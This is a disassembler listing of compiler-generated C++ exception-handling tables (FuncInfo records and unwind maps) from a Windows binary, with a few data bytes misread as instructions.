dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0)
dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh
dd 439F20h, 2, 439F28h, 2 dup(0)
dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0)
dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0
dd offset loc_439F7B
dd 0
dd offset loc_439F86
dd 2, 439F91h, 2 dup(0)
dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0)
dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0
dd offset loc_439FEB
dd 0
dd offset loc_439FF6
dd 0
dd offset loc_43A001
dd 0
dd offset loc_43A00C
align 10h
dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0
dd offset loc_43A04B
dd 2 dup(0)
dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0
dd offset loc_43A07B
align 10h
dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0)
dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0
dd offset loc_43A0EB
dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
dd 1, 43A12Dh, 4 dup(0)
dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h
dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
dd 43A1E4h, 4 dup(0)
dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0
dd offset loc_43A228
dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0
dd offset loc_43A278
dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0
dd offset loc_43A2C8
dd 1, 43A2D0h, 2 dup(0)
dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0)
dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0
dd offset loc_43A318
dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h
dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0
dd offset loc_43A378
dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh
dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h
dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h
dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h
dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h
dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h
dd 43A4E5h, 8 dup(0)
dword_440950 dd 19930520h, 11h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0
dd offset loc_43A568
dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h, 0Dh, 43A615h, 0Eh
dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08 dd 19930520h, 38h, 440A28h, 5 dup(0) dd 0FFFFFFFFh, 43A690h, 0
dd offset loc_43A69B
dd 1, 43A6A6h, 0
dd offset loc_43A6B1
dd 0
dd offset loc_43A6BC
dd 0
dd offset loc_43A6C7
dd 0
dd offset loc_43A6D2
dd 0
dd offset loc_43A6DD
dd 0
dd offset loc_43A6E8
dd 0
dd offset loc_43A6F3
dd 9, 43A6FEh, 0
dd offset loc_43A709
dd 0
dd offset loc_43A714
dd 0
dd offset loc_43A71F
dd 0
dd offset loc_43A72A
dd 0Eh, 43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
dd 0Eh, 43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
dd 0
dd offset loc_43A799
dd 0
dd offset loc_43A7A4
dd 0
dd offset loc_43A7B2
dd 0
dd offset loc_43A7C0
dd 1Ah, 43A7CBh, 1Bh, 43A7D6h, 0
dd offset loc_43A7E1
dd 1Dh, 43A7ECh, 0
dd offset loc_43A7F7
dd 1Fh, 43A802h, 0
dd offset loc_43A80D
dd 0
dd offset loc_43A818
dd 0
dd offset loc_43A823
dd 0
dd offset loc_43A82E
dd 0
dd offset loc_43A839
dd 25h, 43A844h, 26h, 43A84Fh, 0
dd offset loc_43A84F
dd 28h, 43A844h, 0
dd offset loc_43A85A
dd 0
dd offset loc_43A865
dd 2Bh, 43A870h, 2Ch, 43A87Bh, 0
dd offset loc_43A87B
dd 2Eh, 43A870h, 2Eh, 43A886h, 0
dd offset loc_43A891
dd 31h, 43A89Ch, 0
dd offset loc_43A8A7
dd 0
dd offset loc_43A8B2
dd 34h, 43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18 dd 19930520h, 1, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A970h, 2 dup(0)
dword_440C48 dd 19930520h, 1, 440C68h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 2 dup(0)
dword_440C78 dd 19930520h, 6, 440C98h, 5 dup(0) dd 0FFFFFFFFh, 43A9B0h, 0
dd offset loc_43A9B8
dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
dword_440CD0 dd 19930520h, 6, 440CF0h, 5 dup(0) dd 0FFFFFFFFh, 43AA10h, 0
dd offset loc_43AA18
dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28 dd 19930520h, 0Ah, 440D48h, 5 dup(0) dd 0FFFFFFFFh, 43AA70h, 0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
dd 43AA80h, 0FFFFFFFFh, 43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
dd 43AA98h, 0FFFFFFFFh, 43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
dd 43AAB0h, 0FFFFFFFFh, 43AAB8h, 4 dup(0)
dword_440DA8 dd 19930520h, 0Eh, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAE0h, 0
dd offset loc_43AAE8
dd 0FFFFFFFFh, 43AAF3h, 0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
dd 43AB03h, 0FFFFFFFFh, 43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
dd 43AB1Eh, 0FFFFFFFFh, 43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
dd 43AB39h, 0FFFFFFFFh, 43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
dd 4 dup(0)
dword_440E48 dd 19930520h, 2, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB98h, 0
dd offset loc_43AB90
align 10h
dword_440E80 dd 19930520h, 2, 440EA0h, 5 dup(0) dd 0FFFFFFFFh, 43ABD0h, 0
dd offset loc_43ABD8
dd 2 dup(0)
dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0)
dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0
dd offset loc_43AC18
dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
dd 2 dup(0)
dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0
dd offset loc_43AC7B
dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 43h, 0
dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0)
dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0)
dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0
dd offset loc_43AD78
dd 2 dup(0)
dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0
dd offset loc_43AD98
dd 1, 43ADA3h, 2 dup(0)
dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0
dd offset loc_43ADD8
dd 1, 43ADE0h, 2 dup(0)
dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0)
dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0
dd offset loc_43AE28
dd 0
dd offset loc_43AE30
dd 0
dd offset loc_43AE3B
align 10h
dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0
dd offset loc_43AE68
dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0
dd offset loc_43AEBB
dd 1, 43AEC6h, 2 dup(0)
dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0
dd offset loc_43AEF8
dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0
dd offset loc_43AF38
dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0
dd offset loc_43AF88
dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0
dd offset loc_43AFC8
dd 1, 43AFD0h, 2 dup(0)
dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0)
dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0
dd offset loc_43B018
align 10h
dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0
dd offset loc_43B038
dd 2 dup(0)
dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0
dd offset loc_43B05B
dd 1, 43B066h, 2 dup(0)
dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0)
dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0)
dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0
dd offset loc_43B0D8
dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh
dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh
dd 43B140h, 2 dup(0)
dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0
dd offset loc_43B178
dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh
dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h
dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h
dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0)
dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0
dd offset loc_43B358
dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh
dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h
dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h
dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0)
dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0)
dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0
dd offset loc_43B55B
dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh
dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h
dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h
dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah
dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh
dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h
dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h
dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah
dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh
dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h
dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h
dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah
dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0
dd offset loc_43B98B
dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0
dd offset loc_43B9DB
dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0
dd offset loc_43BA4E
dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0
dd offset loc_43BAAB
dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0
dd offset loc_43BB0B
dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0)
dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0)
dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0)
dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0BBh, 43h, 0
align 10h
dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0
dd offset loc_43BBFB
dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0
dd offset loc_43BC4B
dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0
dd offset loc_43BC9B
dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0
dd offset loc_43BD0E
dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0
dd offset loc_43BD6B
dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0BDh, 43h, 0
dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0)
dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0)
dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0)
dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0
dd offset loc_43BE8B
dd 2 dup(0)
dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0
dd offset loc_43BEBB
dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0)
dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0
dd offset loc_43BF2B
dd 2 dup(0)
dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0)
dword_441F98 dd 19930520h, 1, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 2 dup(0)
dword_441FC8 dd 19930520h, 2, 441FE8h, 5 dup(0) dd 0FFFFFFFFh, 43BF90h, 0
dd offset loc_43BF9B
align 10h
dword_442000 dd 19930520h, 1, 442020h, 5 dup(0) dd 0FFFFFFFFh, 43BFC0h, 2 dup(0)
dword_442030 dd 19930520h, 3, 442050h, 5 dup(0) dd 0FFFFFFFFh, 43BFE0h, 0
dd offset loc_43BFF7
dd 1, 43BFFFh, 2 dup(0)
dword_442070 dd 19930520h, 1, 442090h, 5 dup(0) dd 0FFFFFFFFh, 43C020h, 2 dup(0)
dword_4420A0 dd 19930520h, 4, 4420C0h, 5 dup(0) dd 0FFFFFFFFh, 43C048h, 0
dd offset sub_43C040
dd 0
dd offset loc_43C05F
dd 2, 43C067h, 2 dup(0)
dword_4420E8 dd 19930520h, 6, 442108h, 5 dup(0) dd 0FFFFFFFFh, 43C090h, 0FFFFFFFFh, 43C098h, 0FFFFFFFFh
dd 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
dd 43C0B8h, 2 dup(0)
dword_442140 dd 19930520h, 1Ah, 442160h, 5 dup(0) dd 0FFFFFFFFh, 43C0E0h, 0
dd offset loc_43C0EB
dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248 dd 19930520h, 4, 442268h, 5 dup(0) dd 0FFFFFFFFh, 43C270h, 0
dd offset loc_43C278
dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290 dd 19930520h, 4, 4422B0h, 5 dup(0) dd 0FFFFFFFFh, 43C2B0h, 0
dd offset loc_43C2B8
dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8 dd 19930520h, 6, 4422F8h, 5 dup(0) dd 0FFFFFFFFh, 43C2F0h, 0
; ---------------------------------------------------------------------------
clc
retn 43h
; ---------------------------------------------------------------------------
dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330 dd 19930520h, 6, 442350h, 5 dup(0) dd 0FFFFFFFFh, 43C350h, 0
; ---------------------------------------------------------------------------
pop eax
retn
; ---------------------------------------------------------------------------
dw 43h
dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388 dd 19930520h, 6, 4423A8h, 5 dup(0) dd 0FFFFFFFFh, 43C3B0h, 0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
dd 43C3C6h, 2, 43C3D1h, 3, 43C3DCh, 2, 43C3E7h, 2 dup(0)
dword_4423E0 dd 19930520h, 3, 442400h, 5 dup(0) dd 0FFFFFFFFh, 43C410h, 0FFFFFFFFh, 43C418h, 0FFFFFFFFh
dd 43C420h, 2 dup(0)
dword_442420 dd 19930520h, 5, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh
dd 43C450h, 0FFFFFFFFh, 43C458h, 0FFFFFFFFh, 43C460h, 2 dup(0)
dword_442470 dd 19930520h, 0Ch, 442490h, 5 dup(0) dd 0FFFFFFFFh, 43C480h, 0
dd offset loc_43C488
dd 0FFFFFFFFh, 43C490h, 0FFFFFFFFh, 43C498h, 0FFFFFFFFh
dd 43C4A0h, 0FFFFFFFFh, 43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
dd 43C4B8h, 0FFFFFFFFh, 43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
dd 43C4D0h, 0FFFFFFFFh, 43C4D8h, 4 dup(0)
dd 19930520h, 2, 442520h, 1, 442530h, 3 dup(0)
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 442548h, 4 dup(0)
dd offset loc_41EF2C
align 10h
dword_442560 dd 19930520h, 0Ah, 442580h, 5 dup(0) dd 0FFFFFFFFh, 43C520h, 0
dd offset loc_43C52B
dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0 dd 19930520h, 2, 442600h, 5 dup(0) dd 0FFFFFFFFh, 43C5C0h, 0
dd offset loc_43C5C8
dd 2 dup(0)
dword_442618 dd 19930520h, 3, 442638h, 5 dup(0) dd 0FFFFFFFFh, 43C5E0h, 0FFFFFFFFh, 43C5EBh, 1, 43C5F6h
dd 2 dup(0)
dword_442658 dd 19930520h, 1, 442678h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 2 dup(0)
dword_442688 dd 19930520h, 2, 4426A8h, 5 dup(0) dd 0FFFFFFFFh, 43C640h, 0
dd offset loc_43C64B
align 10h
dword_4426C0 dd 19930520h, 16h, 4426E0h, 5 dup(0) dd 0FFFFFFFFh, 43C670h, 0
dd offset loc_43C67B
dd 0
dd offset loc_43C683
dd 0
dd offset loc_43C68B
dd 3, 43C693h, 4, 43C69Bh, 0
dd offset loc_43C6A3
dd 6, 43C6ABh, 7, 43C6B3h, 0
dd offset loc_43C6BB
dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
dd offset loc_43C6D3
dd 0Ch, 43C6DBh, 0Dh, 43C6E3h, 0
dd offset loc_43C6EB
dd 0Fh, 43C6F3h, 0
dd offset loc_43C6FB
dd 11h, 43C703h, 0
dd offset loc_43C70B
dd 13h, 43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8 dd 19930520h, 1, 4427C8h, 5 dup(0) dd 0FFFFFFFFh, 43C760h, 2 dup(0)
dword_4427D8 dd 19930520h, 1, 4427F8h, 5 dup(0) dd 0FFFFFFFFh, 43C790h, 2 dup(0)
dword_442808 dd 19930520h, 5, 442828h, 5 dup(0) dd 0FFFFFFFFh, 43C7C0h, 0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
dd 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh, 43C7E0h, 2 dup(0)
dword_442858 dd 19930520h, 0Bh, 442878h, 5 dup(0) dd 0FFFFFFFFh, 43C800h, 0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
dd 43C821h, 0FFFFFFFFh, 43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
dd 43C842h, 0FFFFFFFFh, 43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
dd 43C863h, 0FFFFFFFFh, 43C86Eh, 0FFFFFFFFh, 43C816h, 4 dup(0)
dword_4428E0 dd 19930520h, 1, 442900h, 5 dup(0) dd 0FFFFFFFFh, 43C8B0h, 2 dup(0)
dword_442910 dd 19930520h, 5, 442930h, 5 dup(0) dd 0FFFFFFFFh, 43C8D0h, 0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
dd 43C8E0h, 0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh, 43C8F0h, 2 dup(0)
dword_442960 dd 19930520h, 15h, 442980h, 5 dup(0) dd 0FFFFFFFFh, 43C910h, 0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
dd 43C923h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
dd 43C93Bh, 0FFFFFFFFh, 43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
dd 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
dd 43C971h, 0FFFFFFFFh, 43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
dd 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
dd 43C9A4h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
dd 43C9BCh, 6 dup(0)
dword_442A40 dd 19930520h, 1, 442A60h, 5 dup(0) dd 0FFFFFFFFh, 43CA00h, 2 dup(0)
dword_442A70 dd 19930520h, 5, 442A90h, 5 dup(0) dd 0FFFFFFFFh, 43CA20h, 0
dd offset loc_43CA28
dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0 dd 19930520h, 5, 442AE0h, 5 dup(0) dd 0FFFFFFFFh, 43CA70h, 0
dd offset loc_43CA78
dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
